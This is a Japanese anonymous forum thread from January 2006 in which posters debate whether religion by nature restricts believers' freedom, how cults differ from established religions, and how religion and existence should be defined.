89 名前：名無しさん＠３周年 ：2006/01/12(木) 05:48:52 ID:4ANlSbtJ: >>88
一概に答えは出せない質問です。
はい。の場合もあれば、いいえ。の場合もあります。
幸せでいる人もいれば、そうでない人もいますね。
尊敬できる人もいれば、できない人もいます。

宗教は特別ではありませんよ。
ブランド品身につけて、幸せになる。程度の事だと思います。
神など信じないで、幸せに人生を送れる人もいれば、
神に頼って、よりどん底を見る事になる人もいるでしょう。

答えはひとつではないんですよ。
人の数だけ、答えが存在してるんです。
90 名前：( ´,_ゝ｀) ：2006/01/12(木) 06:01:34 ID:xSLQQLKN: >>89
>答えはひとつではないんですよ。
>人の数だけ、答えが存在してるんです。

その通りです。
あなたがなにを信じようと私の自由ですし、
私がなにを信じようとあなたに関係ありません。
でも、宗教は違いますよね。
表面的には違うと言うでしょうが、
そこに組織があり、維持が必要であれば、秩序があります。
当然、異端や争いがあります。
また、維持するために勧誘があるでしょう。
あなたの信じているものがすばらしいのであれば、
人は共感するでしょう。自然に集まってくるでしょう。
でも、それを逆手に取ることも、充分同じ行為です。
個人で何を信じようが事実なのに、いつのまにか拘束されるのです。
おかしいと思いませんか？
おまけに、カネもかかりますよね。
基本的にすべての宗教は、この矛盾からは逃れておりませんよ。
私達は、なにを信じるのか自由ではないのです。
それが宗教ですよ。違いますか？
91 名前：名無しさん＠３周年 ：2006/01/12(木) 06:07:08 ID:4ANlSbtJ: >>90
そういう宗教団体は、多いでしょうね。
でも、すべてではありませんよ。
そんな鎖から解放されている教えもあるんです。本当に。
あなたが知らない。事と、そんな教えは存在しない。は、＝ではないんです。
92 名前：( ´,_ゝ｀) ：2006/01/12(木) 06:18:53 ID:xSLQQLKN: >>91
いえ、私は、宗教というのがそういう性質のものであるということを言っているのです。
そうでない教団はあるかもしれません。当然、そうでない教団も実際にありますよ。
当然、宣伝しておりませんから、ほとんど知られておりませんし、
お金も要求したりもしません。お金がなければ、獲れた野菜でもいいし、なくてもいい。
そういう教団もあるでしょう。身近に知っております。
しかし、私は、信仰がなにかを信じる行為であり、
教団が、その信仰の対象が同じ人々の集まりであれば、
当然ながら、信ずるものは一致しなければならないということを言っているのです。
つまり、何を信じようが自由ではありませんよね。
これは、単純な帰結ですよ。
一般に言われている、宗教の弊害も、ここが焦点です。
例外は、ないのです。
93 名前：名無しさん＠３周年 ：2006/01/12(木) 06:19:22 ID:4ANlSbtJ: >>90
ごめんなさい。
今日は落ちます。
起きたらまた、覗きますね。
有意義な時間でした。ありがとうです。
94 名前：( ´,_ゝ｀) ：2006/01/12(木) 06:25:04 ID:xSLQQLKN: >>93
そうですね。
私ももうすぐ、仕事です。ありがとうございました。
３時過ぎに、また、レスします。
それでは。
95 名前：名無しさん＠３周年 ：2006/01/12(木) 07:06:14 ID:HhR/Yrmt: >>93
どんな相手にもこういう言葉と態度で接することができるようにね。
コロコロ態度を変えて感情的になると、あなたの嫌いな人たちと変わらないから。
96 名前：名無しさん＠３周年 ：2006/01/12(木) 09:34:19 ID:51meMIOw: >>92
そういう性質に見えるのも、今の日本だからではないですか？
あなたの言う宗教団体が多いのは事実ですよ。
でも、初めからそんな目的で作られた団体ばかりではないのも事実なんです。

まず、信じるものが一致しなければならないってのは、
強制や洗脳によって、押し付けられてるとお考えなら、極一部の話ですよ。
信じた後に、願望達成の為に守らなければならない戒律を押し付けられますが。

何を信じられるのか、自由でなければ、その団体は存続できませんよ。
始めは、信じているもの、が先ですよね。その後にルールがあるんでしょ？
確かに、自由がほとんどない団体もいるでしょうね。
でもそれは、根本的な原因ではありませんよ。
敢えて言うなら、盲信的な信者の方があなたの言う過ちを犯していると思います。
団体がそれを利用している、って感じですか？
97 名前：名無しさん＠３周年 ：2006/01/12(木) 10:29:27 ID:LBL91iY8: 崇教真光信者トンデモ擬似科学者・早坂●雄氏　お墨付きを与える。
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98 名前：( ´,_ゝ｀) ：2006/01/12(木) 12:11:17 ID:xSLQQLKN: ちょっと、小休止の間にレスします。
>>96
あなたの言われることはよくわかります。
でも、それは、いわゆる運営の仕方の問題であって、
宗教についての話ではありませんね。
例えば、教会で仏像を拝み、柏手を打ち、賽銭を投げて、お経を上げる人はいません。
それはキリスト教がそういう宗教だからです。
あなたは、納得しないでしょうが、もっと、極端なことを言いましょうか。
これは結論ですが、宗教というのは、自分の信ずる神を他人に押し付ける行為です。
他人の自由を自分の規範によって縛り、洗脳し、行動や財産も奪う行為なのです。
それが、宗教です。
とある宗教が、地動説や進化論を受け入れなかったのは当然の行為なのです。
なぜなら、自分達の信ずる神を阻害するものを受け入れることはないからです。
ただし、そこまですると現実社会では生きていくことは出来ないので、
単に妥協しただけにしか過ぎません。
彼らはしぶしぶ認めただけでしょう。
でも、可能ならば、すぐにでも否定するはずです。それが彼らの世界観なのですから。
当然の話です。
この掲示板がいい証拠ではないですか。
なぜ彼らは、罵りあい、いがみ合い、毎日同じ事で争うか？
理由は単純なのです。自分の信ずる神を他人に信じてもらいたいからなのです。
つまり、自分の信ずる神を他人に認めてもらい、他人も自分と同じ神を信じて貰いたいからです。
宗教の基本はそういうことです。まあ、なかなか納得はしてもらえないでしょが。
99 名前：名無しさん＠３周年 ：2006/01/12(木) 12:31:13 ID:tHjF3Zgx: >>55　本来の意味はいいけど　世間に流通しておる意味も意識しなさい。
100 名前：名無しさん＠３周年 ：2006/01/12(木) 12:38:03 ID:cKHxWwmO: >>98
＞理由は単純なのです。自分の信ずる神を他人に信じてもらいたいからなのです。

「邪悪で愚かな異教徒・異端者」をコケにするのが楽しいという理由もあるのでは？
他人を「導いてやる」ことと同様「裁いてやる」ことも大きな満足感をその人に与えると思います。
これは宗教信者だけでなく、名無し唯物論者のニーチェくんにも見られる特徴ですね。
101 名前：名無しさん＠３周年 ：2006/01/12(木) 16:08:23 ID:9c+WdwCO: >>98
自分が信じている神を他人に信じてもらいたいって、
自分を認めてもらいたいって気持ちの表れじゃないですかね？
>宗教の基本はそういうことです。
はい。納得できませんね。
何度も言いますが、そういう団体もあるって事だと思います。
102 名前：( ´,_ゝ｀) ：2006/01/12(木) 16:39:01 ID:xSLQQLKN: >>101
>自分が信じている神を他人に信じてもらいたいって、
>自分を認めてもらいたいって気持ちの表れじゃないですかね？
そのとおりです。
それを行動であらわすと、どのようになりますか？
103 名前：名無しさん＠３周年 ：2006/01/12(木) 16:48:08 ID:9c+WdwCO: >>102
揚げ足をとるつもりではありませんが、
そのとおりです、
って言う事は、宗教の問題では無く、個人の意識の問題になりますね？
宗教をしている場合、そのような表現になってしまう。という話になりますね。

ごめんなさい。
今から仕事になります。　
104 名前：( ´,_ゝ｀) ：2006/01/12(木) 16:58:41 ID:xSLQQLKN: >>103
はい。どうぞ(^^♪
誤解されては、困りますが、わたしはあなたを攻撃するつもりはありません。
また、あなたが信じるのを妨げるつもりもありません。
でも、私が実際に人と話し、いろいろな方と接した結果、どうも矛盾することを考えると、
そのような結論にしかならないということを述べているだけです。
また、私は、現実社会において、宗教を否定するつもりもありませんし、
他人の信仰を妨げるつもりもありません。
何を信じようが他人の自由です。
でも、それを妨げているのも、宗教なのです。
それをわかってほしかっただけです。
非常に危険なのです。誰かが、資格制度にするべきだとレスしてましたが、
私も、賛成です。安易なのモノではないのです。
また、議論しましょう(^^♪
105 名前：名無しさん＠３周年 ：2006/01/12(木) 17:01:41 ID:YmP8dmFx: 論理的思考力ゼロの　4ANlSbtJ　が馬鹿っぷりをさらけ出しているスレはここですかｗ
106 名前：電球：2006/01/12(木) 18:09:22 ID:k5z088eK: >>98 >なぜなら、自分達の信ずる神を阻害するものを受け入れることはないからです。
ただし、そこまですると現実社会では生きていくことは出来ないので、単に妥協しただけにしか過ぎません。

→おっしゃるとおりです。私にも大筋で異論ありません。そもそもキリスト教にしても仏教にしても、
2000年、2500年前の思想が現代でそのまま通用するわけがありません。それを極端に強行しようとするのが、
ファンダメンダリストです。古い考え方で、現代的な発想とは言えません。

多くの信者は現代的にアレンジしていますね。つまり妥協。できることなら進化論だって否定したいでしょう。
そして信ずるものが一致しなければならない、というのはむしろその古い考え方でしょう。
例えば新霊性運動と呼ばれる一群。これは新しい宗教の形として注目されていますが、集団も持たず、学ぶ
者も複数の教えを学んで、その中から自分に合ったものを選ぶのが普通です。

>>102　>>自分を認めてもらいたいって気持ちの表れじゃないですかね？
>そのとおりです。それを行動であらわすと、どのようになりますか？

→>>103さんがご指摘のとおり、自分を認めてもらいたいという気持ちは誰にでもあります。
それは( ´,_ゝ｀)さんでも同じではないでしょうか。それを行動にあらわして、
こうして議論されている、のだと思うのです。
勿論私は、だから( ´,_ゝ｀)さんは信仰者を排斥しているのだ、と批判をしているわけではありません。
( ´,_ゝ｀)さんは批判をされているだけで、否定しているわけでない。それは充分に分かっています。
しかし、そうすると、自分を認めてもらいたいと考えることと、自分の信ずる神（事）を他人に押し付ける
こととはイコールでは結べない、と私には思えるのです。
107 名前：( ´,_ゝ｀) ：2006/01/12(木) 18:30:23 ID:xSLQQLKN: >>106
>勿論私は、だから( ´,_ゝ｀)さんは信仰者を排斥しているのだ、と批判をしているわけではありません。
>( ´,_ゝ｀)さんは批判をされているだけで、否定しているわけでない。それは充分に分かっています。
>しかし、そうすると、自分を認めてもらいたいと考えることと、自分の信ずる神（事）を他人に押し付ける
>こととはイコールでは結べない、と私には思えるのです。

昨日の段階で、この議論にはなると思いました。
ただし、私はこの問題について、議論することは出来ても、
どのような切り口で論ずるのがいいのか、自分でもよくわかりません。
結論は簡単なのです。
ご指摘の通り、どんな人間も自分を認めてもらいたいし、相手に影響を与えたいのです。
しかし、宗教はそのような生易しいものではありません。

我々は、自分で自分を知ることはできません。
同じように、他人も知ることは出来ません。
しかし、その不確かな自分が神を信じ、それを他人が認めたとします。
そして、あなたと同じ神を信じるとします。
あなたは、どうしますか？
あなたの信ずる神をそのまま相手に押し付けるでしょう。
あなたには他人は見えないのですから、同じ事を強いるはずです。
違いますか？
108 名前：( ´,_ゝ｀) ：2006/01/12(木) 18:59:38 ID:xSLQQLKN: 違う見方をしましょう。
この方がわかりやすいかもしれません。

宗教には必ず信仰があります。
信仰とは単純に、神を信じる行為です。
しかし、その神は他人に見えるでしょうか？
それは同じく、信仰によってしか見出せないでしょう。
つまり、同じ信仰を共有するしかありません。
では、同じ信仰とはなんでしょうか？
それは、あなたが神を見出した行為でしょう。
つまり、あなたと同じやり方をすることしか、あなたの神を見出すことはできないのです。
あなたは、同じ事を他人に強いることになります。
これは、必然的な帰結ではないでしょうか？

わかりづらいでしょうか？
109 名前：名無しさん＠３周年 ：2006/01/12(木) 19:00:47 ID:MOyOEXv1: わ
110 名前：名無しさん＠３周年 ：2006/01/12(木) 19:06:08 ID:jnERlZKO: あのー単純な質問してもいいですか？
神様とか仏様とかって本当にいるわけではないですよね？
なんで世界中でたくさんの人がいるって信じたりしてるのか不思議なんですが・・・。
111 名前：電球：2006/01/12(木) 19:15:45 ID:MOyOEXv1: >>108
宗教は他人に同じ考え方を強いる度合いが半端でない、というのが、少し曖昧な根拠に思えます。
全ての宗教が同じだけ、他人に同じ考え方を強いるわけではありません。
中には自己完結している宗教もあるわけです。
少なくともそういった宗教は私たちと同じように、批判はしても、否定はしない。
それなら、それらの存在は、認められことになります。
112 名前：バカ梵 ：2006/01/12(木) 19:25:46 ID:Scsl3Jmw: >>110
それはあなたが、自分自身が存在してると当たり前に信じている事と似てるよ。
113 名前：( ´,_ゝ｀) ：2006/01/12(木) 19:29:21 ID:xSLQQLKN: >>111
それは、単純に信ずる神の共有が明確ではないだけでしょう。
私は、様々な宗教を知っているわけでも、詳しいわけでもないので、
具体的な例で詳細に述べることは出来ませんが、
我々が明確に神を知覚出来ない限り、信仰によってそれを共有するしかないはずです。
ということは、神を見出すことは、信仰を深めるしかないはずです。
信仰を深めるとは、その宗教に埋没することです。
我々は、その宗教にどうかすることしか、その宗教の神を見出すことは出来ないはずです。

これが、他人の自由を奪うという理由です。

>>110
残念ながら、私は神様も仏様も信じておりませんので、あなたと同じ疑問を持っております。
答えてあげたいのですが、答えられません。
別のスレッドで聞いてみてはいかがでしょう。
質問版があるはずです。(^_^;)
114 名前：110 ：2006/01/12(木) 19:51:43 ID:jnERlZKO: >>112
どういうことでしょうか？自分の存在に疑いを持たないことと
神や仏の存在に疑問を持たないことのメカニズムが同じということですか？

>>113
私の質問に対して宗教擁護者の方がどのように答えてくれるのかを
知りたかったのでここに書かせていただきました。
ちなみにこの板には初めて来たので的外れなことを言っていたらごめんなさい。
115 名前：電球：2006/01/12(木) 19:52:31 ID:MOyOEXv1: >>113
今出先からレスしています。もしかしたら、断りなしに離脱してしまうかもしれません。
他者を否定しない宗教は、単に共有する神が明確でないだけ、とするなら、
共有する神が明確でなければ、宗教でないということになりますが…。
それから全ての宗教が神を信じているわけではありません(例えば原始仏教)。
それに先にもあげた新霊性運動のような例は、むしろ他の宗教を学ぼうとします。
116 名前：名無しさん＠３周年 ：2006/01/12(木) 19:58:56 ID:6q5I60ev: 素朴な疑問なんだが。
「俺は、ある特定の宗教の信者じゃなくて、宗教一般の信者だ。」
という奴はいますか？
117 名前：( ´,_ゝ｀) ：2006/01/12(木) 20:04:08 ID:xSLQQLKN: >>115
逆説的な言い方をすれば、神が明確であれば、宗教はいらないのです。
神が明確でないので、聖書を読んだり、石に祈ったりするのです。
新霊性運動は知りませんが、神を見出す行為は、結局すべて同じものではないでしょうか？
神を視覚できないかぎり、信仰で共有しなければなりません。
それと、信仰とは神が明確でないから、信仰があると思いますよ。
入信して、神を見出せるのならば、信仰はないでしょう。
私は、そのように理解しておりますが。

離脱するのは気にしないで下さい。
私も９時過ぎると落ちますので(^^♪
118 名前：?バカ梵 ：2006/01/12(木) 20:05:01 ID:Scsl3Jmw: 普通に考えれば、私は存在している。神や仏は存在していない。
しかし存在という意味を突き詰めて行けば、果たして私は存在して
いるのだろうか？という疑問を持つ事もある。そういう視点に立ったとき、
自分が存在していると信じる事によって私は存在している事に気付く。
同じく、神や仏は存在していると信じる事によって存在することになる。
110さんは、神や仏がいないと信じているから不思議がるけど、
信じてる人にとっては全く不思議ではない。
まぁ言葉遊びのようなもんだけど。。
119 名前：バカ梵 ：2006/01/12(木) 20:08:18 ID:Scsl3Jmw: >>110
あぁ、俺は宗教肯定派じゃないのであしからず。
120 名前：110 ：2006/01/12(木) 20:09:54 ID:jnERlZKO: >>118さん
なるほど。そういう考え方もできますね。誤解を恐れずに言えば
信じる人たちの中に存在しているということですよね。
その意味では風水とか占いとか陰陽説とかと同じようなものなの
かもしれませんね。
121 名前：名無しさん＠３周年 ：2006/01/12(木) 20:15:25 ID:6q5I60ev: 「存在」の概念規定を曖昧にしたままの一種のカント的誤魔化しではないでしょうか？
「自存的存在」について検証するのでなければ意味が無いのではないでしょうか？
122 名前：バカ梵 ：2006/01/12(木) 20:19:42 ID:Scsl3Jmw: >>121
そうかな？カント的誤魔化し、自存的存在ってのがバカなのでよく分からないけど、
んじゃあなたは自分の存在を立証できるの？
123 名前：110 ：2006/01/12(木) 20:25:05 ID:jnERlZKO: >>121さん
ええと多分自分の文章についてのレスだと思うんですが
出来たらどの発言に対するレスなのかを明確にしてください。

「自在的存在」という言葉の意味が分からないのですが説明して
いただけますか？グーグルなどで検索しても分からなかったので・・・
124 名前：名無しさん＠３周年 ：2006/01/12(木) 20:26:34 ID:6q5I60ev: あなたが「存在」という言葉をどういう意味に使っているのか不明ですが。

特定の個人の生物学的存在を証明する方法は医学的に確立されています。
特定の個人の社会的存在を証明する方法は法律的に確立されています。
125 名前：バカ梵 ：2006/01/12(木) 20:30:55 ID:Scsl3Jmw: えっと～。。んじゃ医学的法律的に個々の存在が確立されたこの世界は、本当に存在するの？
126 名前：名無しさん＠３周年 ：2006/01/12(木) 20:35:36 ID:W/ZTtWiM: http://images.google.co.jp/images?q=%E3%82%AD%E3%83%AB%E3%83%AA%E3%82%A2%E3%83%B3%E5%86%99%E7%9C%9F&hl=ja
127 名前：名無しさん＠３周年 ：2006/01/12(木) 20:37:22 ID:W/ZTtWiM: >>116
いるよ
普通じゃん
128 名前：名無しさん＠３周年 ：2006/01/12(木) 20:40:18 ID:6q5I60ev: 失礼ですが、お二人とも哲学関係の方ですよね？
129 名前：110 ：2006/01/12(木) 20:42:18 ID:jnERlZKO: 哲学を専門的に学んだことはありませんが・・？
130 名前：バカ梵 ：2006/01/12(木) 20:44:50 ID:Scsl3Jmw: いや違います。。
131 名前：名無しさん＠３周年 ：2006/01/12(木) 20:45:27 ID:b3sy/KI2: 「宗教否定」と「オカルト否定」は意味が違う。立場を明確にしたほうがよい。

「オカルト肯定」の中に「宗教肯定」の集団がある。
「科学のみ肯定」と「オカルト否定」はほぼ同じ集団とみなせる。（３）
この集団はもちろん「宗教」を否定することになる。

「オカルト肯定」で、尚且つ「宗教否定」という集団も少数ながら存在する。（２）

－１　既存宗教否定　カルト宗教肯定
０　カルト宗教・既存宗教肯定
１　カルト否定・宗教肯定
２　オカルト肯定・宗教否定
３　オカルト類全否定←　意味のない宗教否定をしている人。実はオカルト否定者。
132 名前：名無しさん＠３周年 ：2006/01/12(木) 20:45:56 ID:6q5I60ev: 大変失礼しました。　退散します。
133 名前：バカ梵 ：2006/01/12(木) 20:46:42 ID:Scsl3Jmw: こちらこそ？
134 名前：110 ：2006/01/12(木) 20:47:54 ID:jnERlZKO: なぜ退散されたのかよく分かりませんが・・・。
知識のない人間相手はごめんということでしょうか？
135 名前：名無しさん＠３周年 ：2006/01/12(木) 20:51:05 ID:2NswCVS3: >>131
既存宗教もカルトも、原理的には全く同じ。すべてのカルトは、既存宗
教を母体として発生し、その教義や技法を利用している。どこが違う？
単に、反社会性の「程度の差」に過ぎない。
136 名前：名無しさん＠３周年 ：2006/01/12(木) 21:00:00 ID:hR9NFa0T: >>135
どこが違うかというと、
カルトの中には、明確に
既存の他宗教全否定を宣言している
カルトがあるから、危険度の特別枠としました。
137 名前：名無しさん＠３周年 ：2006/01/12(木) 21:04:02 ID:2NswCVS3: >>136
既存宗教が、他宗教・他宗派をしていないとでもｗ？既存宗教もカルトも、
自分の宗教だけが本物で、正しいのです。これが、宗教の「病理」です。

現実上の根拠が「皆無」な「観念の遊戯」であることについても、すべ
ての宗教は同じ。
138 名前：名無しさん＠３周年 ：2006/01/12(木) 21:09:48 ID:j0mUnbhm: >>137
具体的に、たとえば原始仏教で言えばどの部分が「観念の遊戯」なの？
139 名前：名無しさん＠３周年 ：2006/01/12(木) 21:14:42 ID:2NswCVS3: >>138
原始仏教の教えも、すべて「観念論」だとおもいますが。

しかし、一神教とは異なり、仏教は「人間」を離れていないところが
高く評価できる。
140 名前：名無しさん＠３周年 ：2006/01/12(木) 21:15:30 ID:j0mUnbhm: >>139
どの部分が？
141 名前：名無しさん＠３周年 ：2006/01/12(木) 21:20:32 ID:2NswCVS3: >>140
全体でしょ。あなたのほうがよく知ってる筈。
142 名前：名無しさん＠３周年 ：2006/01/12(木) 21:21:34 ID:7wrU9tuD: >>137
他宗教との共存を目指している宗教もあります。
他の全ての宗教が、善と悪の悪に入ると言ってる宗教のみ
分類（－１）の「カルトのみ肯定」に入れます。
143 名前：名無しさん＠３周年 ：2006/01/12(木) 21:22:25 ID:j0mUnbhm: >>141
わかりません。具体的にどの部分ですか。一例を示しなさい。
144 名前：名無しさん＠３周年 ：2006/01/12(木) 21:24:14 ID:W/ZTtWiM: 肯定も否定も離れればいいのに
145 名前：名無しさん＠３周年 ：2006/01/12(木) 21:29:05 ID:303Vj0wb: 無宗教ですﾊｲ
宗教を否定はしませんが理解ができませぬ(ﾟωﾟ)ﾊｲ
146 名前：名無しさん＠３周年 ：2006/01/12(木) 21:29:43 ID:2NswCVS3: >>143
わからなければ、仏教を勉強してください。例えば、釈迦がさかんに
言っている「真理」とか「正しさ」（八正道）は、現実上の何を基準
として判断しているのですか。現実上の基準が無ければ、単なる観念
でしょう。
147 名前：名無しさん＠３周年 ：2006/01/12(木) 21:35:18 ID:j0mUnbhm: >>146
では八正道のひとつ「正業（正しく働く）」がなぜ
>>137現実上の根拠が「皆無」な「観念の遊戯」である
とまでいえるのか、具体的に説明しなさい。
148 名前：名無しさん＠３周年 ：2006/01/12(木) 21:35:22 ID:W/ZTtWiM: レベル低
149 名前：名無しさん＠３周年 ：2006/01/12(木) 21:37:19 ID:2NswCVS3: >>147
その「正しく」とは、何を基準にして「正しい」のかを聞いている。
150 名前：電球：2006/01/12(木) 21:43:45 ID:MOyOEXv1: >>117
レスがとびとびですみません…。

はい、神が明確なら宗教はいりません。
では共有する神が明確でないものは宗教ではないのでしょうか。
私にはそれがわからないんです。
理論に当てはまらないものは宗教でないことになってしまう。
ベラーの言うところの民俗宗教にはそういったものが多いんです。

それから、宗教は他者の排除を強いる力が強いとするのはなぜでしょうか。
そして個々人の考えがそうでないとするのは、なぜでしょうか。

私には問題は宗教ではなく個々人にあるように思います。
もしくはその個々人の集まり。でもそれは宗教に限った話ではありません。
利益追求の企業でも同じ危険がある、ということは、
以前におっしゃっていた通りです。
宗教だけを危険とみなす理由がわからないわけです。
151 名前：名無しさん＠３周年 ：2006/01/12(木) 21:47:02 ID:W/ZTtWiM: 愛は生理的に強くて憎しみは生理的に弱い、とアランの幸福論に書いてあった
脳細胞レベルでも、おいしいもの（善いこと）は知能を賦活させて
不味いもの（邪悪なもの）は知能を壊滅させる、と精神医学の猿の実験に書いてあった
感性や知能の発達する事柄が善いことで、
正しい生き方をすれば自ずと知能は健康的になっていく
悪しきことこそ善とする生き方では自ずと壊滅していく
でもロートレアモンは悪を芸術化しているから僕は好きだよ
悪しきことを善ではなく、美としているから
152 名前：名無しさん＠３周年 ：2006/01/12(木) 21:47:18 ID:j0mUnbhm: >>149
さぁ・・・わかりません。
>>146
で「佛教を勉強してください」と言ったからにはその「基準」をあなたは理解してるのですよね？
その基準はなんですか。ご教授ください。
153 名前：名無しさん＠３周年 ：2006/01/12(木) 21:53:19 ID:2NswCVS3: >>150
＞私には問題は宗教ではなく個々人にあるように思います。

そうやって、すぐに人間に責任を押し付け、宗教の責任逃れ、自己正当化を
計ろうとするのが、宗教の著しい特徴。キリスト教がその典型。自己批判が
不可能になるのが、宗教なのです。

生来は善良な人間が、宗教を信じさせられたばかりに、排他的になってしまう
のですよ。なりふりかまわぬ宗教の自己正当化は止めるべき。
154 名前：名無しさん＠３周年 ：2006/01/12(木) 22:04:43 ID:2KeTmFTF: 「現実上の根拠」とは何かね。
155 名前：名無しさん＠３周年 ：2006/01/12(木) 22:06:32 ID:2NswCVS3: >>154
現実とは、（必要な場合には観測装置を使って）人間の五感で知覚
できる世界。
156 名前：名無しさん＠３周年 ：2006/01/12(木) 22:09:23 ID:j0mUnbhm: >>155
で、その基準は何なの？やはり、あなたは全然宗教のこと知らないのに観念論で批判してるんですね？
157 名前：名無しさん＠３周年 ：2006/01/12(木) 22:19:33 ID:2NswCVS3: >>156
五感の知覚に依存しない限り、そもそも人間の生存が不可能だから。

人間とは、生の欲求と種族維持という基本的本能を持った動物に過ぎない
という事実が、すべての思考の基準。まず生がなければ、思考も、いわんや
宗教も、その他人間の営みは一切不可能。
158 名前：名無しさん＠３周年 ：2006/01/12(木) 22:20:58 ID:s1G9wnL9: >>157
違います。
>>152の「その基準」とはなにか、に答えなさい。
159 名前：?バカ梵 ：2006/01/12(木) 22:27:05 ID:Scsl3Jmw: >>155
観測装置で何度も確認して「これは現実に違いない！」と叫ぶ夢を見た
160 名前：電球：2006/01/12(木) 22:42:05 ID:MOyOEXv1: >>153
私は宗教を全肯定しているわけではないですよ。
批判されるところは批判されて、評価されるところは
評価されるべきだという普通のことを言っているだけです。

私はむしろ、悪因を宗教にだけ求めて、個々人を考慮しない方が、
問題から目を遠ざけているように思います。
宗教は解釈次第でどうとでもなります。使い方次第です。
解釈の仕方で救われる人も、テロや戦争も生まる。
重要なのはイエスが何を言ったかではありません。
イエスが言ったことから何を学びとるかです。
キリスト教徒であろうと、なかろうと。私は無宗教ですけどね。

宗教に争いの原因しか求めない人は確かに危険です。
しかしそれだけを見て全体を判断するのも乱暴な話です。
161 名前：名無しさん＠３周年 ：2006/01/12(木) 23:18:19 ID:W/ZTtWiM: 朱にまじわれば紅くなる
162 名前：バカ梵 ：2006/01/12(木) 23:33:57 ID:Scsl3Jmw: >>153
> 生来は善良な人間が、宗教を信じさせられたばかりに、
> 排他的になってしまうのですよ。

突っ込みどころが多すぎて困りますなあ。もっと勉強してきなされ
163 名前：無所属な旅人 ：2006/01/12(木) 23:52:24 ID:qK6WVuJ6: 立場はコテにあるとおりです。
読んでいて不明点がありましたので質問です。

>>155
一元的に正しさをおはなしになるなら、よりどころとする属性と
系を含めてどの状態であるのか説明してもらえませんか？
>>157
「五感のみを拠り所」としているとしてもよろしいのですか？

もう一点同じ方に。
宗教という用語ですが、どの範囲までを意図して使っているのでしょうか？
私個人で意図する場合、
教祖-教義-教典-指導者-教義-教典-指導者-教義-信徒
のようなつながりを意図します。
（１モデルであり必ずしも此れであるとは言いません。）
164 名前：名無しさん＠３周年 ：2006/01/13(金) 00:40:48 ID:nCP9/ZQv: 第六観がなければ判断無理
天眼通がなければ無理無理
むりだよよー
165 名前：名無しさん＠３周年 ：2006/01/13(金) 02:23:25 ID:VPVm9WLC: >>164
「第六感」などという感覚器官は、人間にはない。ゴキブリにはあるのかも
知れないが。
166 名前：名無しさん＠３周年 ：2006/01/13(金) 02:33:26 ID:VPVm9WLC: >>163
人間にとって、物の実在の判断は、五感の知覚のみです。例外は「皆無」。
神は知覚できないので、実在ではありません。
「実在とは、知覚されることである」（バークリ）

宗教の定義
「現実界に還元できない単なる観念に、最大の価値を認めること。
現実界とは、五感で知覚される世界をいうが、知覚された人間の
自然の感情・本能を含む。」
167 名前：名無しさん＠３周年 ：2006/01/13(金) 02:37:23 ID:DyXbkdmB: >>166
神を知覚した人には例えば預言者や聖者と呼ばれる人がいる。
さて、「実在するもの」全てが
その場で万人に知覚できなければならない理由はあるか？
168 名前：電球：2006/01/13(金) 02:37:48 ID:KzMuWNGz: そもそも宗教否定論者は宗教の定義を、神を信じて、教義があって、団体があるもののこと、と勘違いしています。
神を信じない宗教はあります(ex.原始仏教)し、明確な教義がない宗教もあります(ex.神道・ヒンドゥー教)し、
団体を持たない宗教(ex.新霊性運動)もあります。

宗教とは「現実とは究極的に何であるのか、宇宙における秩序(あるいはしばしば無秩序)の根源は何であるのか、
人間にとってもっとも一般的な意味でいかなる権威を受け入れることができるのか、そしてそのような世界に
おいて個人のいかなる行為が意味を持つのかを明らかにしたり、あるいは暗示したりする」(べラー)ものです。

えー、難しい言い回しですが、文章が長い割と何だか漠然としている(笑)、ということは分かると思います。
つまり宗教というのは恐ろしく範囲が広いものなんです。とてもひとつの理論で否定できるものではありません。
もちろん個々に批判することはできますけどね。それをする分には私も文句ないのですけど・・・。
169 名前：名無しさん＠３周年 ：2006/01/13(金) 02:54:27 ID:VPVm9WLC: >>167
一人または特定少数人に知覚できても、不特定多数人に知覚できなければ、
それを「幻覚」といい、精神病の症状として治療対象となる。

人間界は共同体であるので、あくまで不特定多数人の知覚が基準となる。

預言者の「預言」とは、幻覚の結果である。

>>168
宗教の定義は、>>166でどうですか。

人間の生活の中から発生した「自然宗教」と、殆どの場合、特定教祖の
精神異常の結果として発生した「創唱宗教」とは、本質的に異なります。
後者は、教祖の「観念の遊戯」の結果、人間の生存本能との関係が切断
されています。
結果としての
170 名前：名無しさん＠３周年 ：2006/01/13(金) 02:55:41 ID:QNEkfGP0: 特にｹﾝｼｮｳｶｲは嫌いです
171 名前：名無しさん＠３周年 ：2006/01/13(金) 03:05:24 ID:z7Xw/kD4: >>169
＞後者は、教祖の「観念の遊戯」の結果、人間の生存本能との関係が切断
＞されています。

どこが？
172 名前：名無しさん＠３周年 ：2006/01/13(金) 03:06:46 ID:z7Xw/kD4: そもそも「人間の生存本能との関係が切断され」るって何？
173 名前：( ´,_ゝ｀) ：2006/01/13(金) 03:20:39 ID:Y1pPZLYH: >>161
私は、実際についての宗教をほとんど知らないので、
その点で、電球さんとかなり食い違いがあるのかもしれません。
つまり、宗教の定義で、単純に食い違っているのかもしれません。
今後の無駄な対立を防ぐ意味で、私の宗教の定義を簡単に整理しますね。
非常に単純な理解しかしておりませんので。

1.宗教には信仰があること。
2.信仰とは神を見出す行為であること。
3.神を見出すとは、神を体験した(あるいはしたい)という感覚であること。
4.神は信仰でしか共有できないこと。
5.信仰を共有する組織が、すなわち宗教団体であること。

あまりにも、単純にしすぎて逆にわかりづらいですが、
例えば、聖書とかコーランとか仏教典などは、信仰の道具です。
また、原始仏教や密教のような修行も、苦行や座禅によって、
その信仰を共有するということで当てはまると思います。
では、逆に学問はどうなのか？
単純に学問は、真理を共有し、プロセスによってそれを再現できるので、
私は、学問は宗教ではないと思っております。
では、企業はどうか？
確かに、企業は利益というカネ(カミ？)を信じておりますが、
ニーズによって企業は変化を強いられます。
学問と同じく、同じやり方がいつまでも通用するわけではないので、
企業も宗教ではありません。
ただし、一時期、プロセスの盲信を強制されるので、限りなく宗教的ではあります。
いかがでしょうか？
少しは理解の手助けになると思うのですが。
174 名前：( ´,_ゝ｀) ：2006/01/13(金) 03:33:54 ID:Y1pPZLYH: >>151
私は、アランを読んだことはありませんが、マルドロールの歌は読んだことがあります。
一時期は、すっかり魅了されました。冒頭は暗記しておりましたが、
考えてみたら、すっかり忘れてしまいました。
忘れていることを思い出しましたよ(^^♪
なんとなく、ほっとして共感するレスでした。ありがとうございます。
175 名前：1 ：2006/01/13(金) 04:32:59 ID:HrSRc49s: 流れを遮りたくないので、静観しますね。
過疎化したら、戻ります。
176 名前：( ´,_ゝ｀) ：2006/01/13(金) 04:53:16 ID:Y1pPZLYH: >>175
あら、そうですか？
そんなことないと思いますよ。
